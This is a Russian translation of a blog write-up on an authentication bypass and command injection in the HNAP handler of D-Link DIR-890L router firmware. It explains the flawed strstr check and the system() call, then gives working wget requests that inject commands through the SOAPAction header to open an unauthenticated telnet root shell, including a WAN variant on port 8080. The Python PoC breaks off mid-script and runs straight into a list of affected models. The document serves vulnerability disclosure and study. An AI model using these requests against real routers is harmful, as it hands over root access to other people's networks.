[Перевод] Взламываем D-Link DIR-890L
Последние 6 месяцев, я был жутко занят и не следил за новыми хренями от D-Link. Чтобы немного поразвлечься, я зашел на их сайт, и меня поприветствовал этот кошмар: Самый безумный роутер D-Link DIR-890L за $300
Пожалуй, самым «безумным» в роутере является то, что он работает под управлением все той же забагованной прошивки, которую D-Link ставит в свои роутеры вот уже несколько лет…and the hits just keep on coming.Хорошо, давайте как обычно — возьмем последнюю версию прошивки, пройдемся по ней binwalk и посмотрим, что мы получили:
DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0×0 DLOB firmware header, boot partition: «dev=/dev/mtdblock/7» 116 0×74 LZMA compressed data, properties: 0×5D, dictionary size: 33554432 bytes, uncompressed size: 4905376 bytes 1835124 0×1C0074 PackImg section delimiter tag, little endian size: 6345472 bytes; big endian size: 13852672 bytes 1835156 0×1C0094 Squashfs filesystem, little endian, version 4.0, compress Похоже на обычную прошивку с Linux, а если вы заглядывали в любую прошивку D-Link за последние несколько лет, вы без труда вспомните структуру директорий: $ ls squashfs-root bin dev etc home htdocs include lib mnt mydlink proc sbin sys tmp usr var www Все, что относится к HTTP, UPnP и HNAP, расположено в директории htdocs. Самый интересный файл здесь — htdocs/cgibin — ELF-бинарник для ARM, который выполняется вебсервером для, хм, почти всего: все симлинки к CGI, UPnP и HNAP-ссылкам ведут на этот файл: $ ls -l htdocs/web/*.cgi lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/captcha.cgi → /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/conntrack.cgi → /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/dlapn.cgi → /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/dlcfg.cgi → /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/dldongle.cgi → /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/fwup.cgi → /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/fwupload.cgi → /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/hedwig.cgi → /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/pigwidgeon.cgi → /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/seama.cgi → /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/service.cgi → /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/webfa_authentication.cgi → /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/webfa_authentication_logout.cgi → /htdocs/cgibin Он, конечно же, stripped, но в нем есть множество строк, которые будут нам в помощь. В первую очередь, main сравнивает argv[0] со списком известных ему имен симлинков (captcha.cgi, conntrack.cgi и т.д.) чтобы определить, какое действие выполнять: Граф вызовов, типичный каскад if/else
Каждое сравнение производится вызовом strcmp на известные имена симлинков:
Разные функции обработчиков разных симлинков
Чтобы упростить сопоставление функций-обработчиков и симлинков, переименуем их, согласно имени симлинка:
Переименованные функции-обработчики
Теперь, когда у нас есть имена функций, давайте начнем искать баги. Другие устройства от D-Link, работающие под управлением точно такой же прошивки, ранее были взломаны через HTTP и UPnP-интерфейсы, однако, HNAP-интерфейс, который обрабатывается функцией hnap_main в cgibin, похоже, никто особо не смотрел.
HNAP (Home Network Administration Protocol) — протокол на основе SOAP, похожий на UPnP, который обычно используется утилитой для первоначальной настройки D-Link роутеров «EZ». В отличие от UPnP, все действия HNAP, кроме GetDeviceInfo (который бесполезен), требуют HTTP Basic-аутентификацию.
POST /HNAP1 HTTP/1.1
Host: 192.168.0.1
Authorization: Basic YWMEHZY+
Content-Type: text/xml; charset=utf-8
Content-Length: length
SOAPAction: «http://purenetworks.com/HNAP1/AddPortMapping»
SOAPAction = getenv («HTTP_SOAPACTION»);
Ближе к концу hnap_main, вызовом sprintf генерируется shell-команда, которая затем выполняется через system:
sprintf (command, «sh %s%s.sh > /dev/console»,»/var/run/», SOAPAction);
Очевидно, что hnap_main использует данные из заголовка SOAPAction внутри команды system! Этот баг подает надежды, особенно, если заголовок SOAPAction не экранируется, и если мы сможем попасть в это место без аутентификации.
В начале hnap_main проверяется, равен ли заголовок SOAPAction строке http://purenetworks.com/HNAP1/GetDeviceSettings, и если он равен, аутентификация пропускается. Это ожидаемо, мы уже подметили ранее, что GetDeviceSettings не требует аутентификации:
if (strstr (SOAPAction, «http://purenetworks.com/HNAP1/GetDeviceSettings») != NULL)
Заметим, однако, что для проверки используется функция strstr, которая только проверяет наличие строки http://purenetworks.com/HNAP1/GetDeviceSettings в заголовке SOAPAction, а не равенство ей.Итак, если заголовок SOAPAction содержит подстроку http://purenetworks.com/HNAP1/GetDeviceSettings, функция достает название действия (т.е. GetDeviceSettings) из заголовка и убирает двойные кавычки:
SOAPAction = strrchr (SOAPAction,»/»);
Имя действия (GetDeviceSettings) вычленяется из заголовка, затем попадает в system, проходя sprintf.Вот код на C, который демонстрирует ошибку в логике:
/* Grab a pointer to the SOAPAction header */
SOAPAction = getenv («HTTP_SOAPACTION»);
/* Skip authentication if the SOAPAction header contains «http://purenetworks.com/HNAP1/GetDeviceSettings» */
if (strstr (SOAPAction, «http://purenetworks.com/HNAP1/GetDeviceSettings») == NULL)
{
/* do auth check */
}
/* Do a reverse search for the last forward slash in the SOAPAction header */
SOAPAction = strrchr (SOAPAction, '/');
if (SOAPAction!= NULL)
{
/* Point the SOAPAction pointer one byte beyond the last forward slash */
SOAPAction += 1;
/* Get rid of any trailing double quotes */
if (SOAPAction[strlen (SOAPAction)-1] == '»')
{
SOAPAction[strlen (SOAPAction)-1] = '\0';
}
}
else
{
goto failure_condition;
}
/* Build the command using the specified SOAPAction string and execute it */
sprintf (command, «sh %s%s.sh > /dev/console»,»/var/run/», SOAPAction);
system (command);
Итак, что мы из этого вынесли: Проверка аутентификации отсутствует, если в заголовке SOAPAction есть подстрока http://purenetworks.com/HNAP1/GetDeviceSettings
В sprintf (и system) передается все, что находится после последнего слеша в заголовке SOAPAction
Мы с легкостью можем сформировать заголовок SOAPAction, который будет удовлетворять пропуску аутентификации и позволять нам передавать свою строку в system:
SOAPAction: «http://purenetworks.com/HNAP1/GetDeviceSettings/`reboot`»
http://purenetworks.com/HNAP1/GetDeviceSettings в заголовке позволяет нам обойти аутентификацию, а строка `reboot` будет передана в system
system («sh /var/run/`reboot`.sh > /dev/console»);
Заменой reboot на telnetd мы запустим telnet-сервер без аутентификации:
$ wget --header='SOAPAction: «http://purenetworks.com/HNAP1/GetDeviceSettings/`telnetd`»' http://192.168.0.1/HNAP1
$ telnet 192.168.0.1
Trying 192.168.0.1…
Connected to 192.168.0.1.
Escape character is '^]'.
BusyBox v1.14.1 (2015–02–11 17:15:51 CST) built-in shell (msh)
Enter 'help' for a list of built-in commands.
#
Мы можем отправлять HNAP-запросы из WAN, если было включено удаленное администрирование. Конечно, брандмауер блокирует все входящие соединения на telnet из WAN. Самое простое решение — убить HTTP-сервер и запустить telnetd на его порту:
$ wget --header='SOAPAction: «http://purenetworks.com/HNAP1/GetDeviceSettings/`killall httpd; telnetd -p 8080`»' http://1.2.3.4:8080/HNAP1
$ telnet 1.2.3.4 8080
Trying 1.2.3.4…
Connected to 1.2.3.4.
Escape character is '^]'.
BusyBox v1.14.1 (2015–02–11 17:15:51 CST) built-in shell (msh)
Enter 'help' for a list of built-in commands.
#
Замечу, что wget будет висеть в ожидании ответа, т.к. cgibin будет ожидать завершение telnetd. Вот маленький PoC на Python, который все делает чуточку удобней:
#!/usr/bin/env python
import sys
import urllib2
import httplib
try:
ip_port = sys.argv[1].split (':')
ip = ip_port[0]
if len (ip_port) == 2:
port = ip_port[1]
elif len (ip_port) == 1:
port = »80»
else:
raise IndexError
except IndexError:
print «Usage: %s
DAP-1522 revB DAP-1650 revB DIR-880L DIR-865L DIR-860L revA DIR-860L revB DIR-815 revB DIR-300 revB DIR-600 revB DIR-645 TEW-751DR TEW-733GR Насколько я знаю, HNAP на этих устройствах никаким образом отключить нельзя.UPDATE: Похоже, в начале года этот же баг нашел Samuel Huntly, но он был исправлен только для DIR-645. Патч достаточно хреновый, ждите его разбор в следующем посте.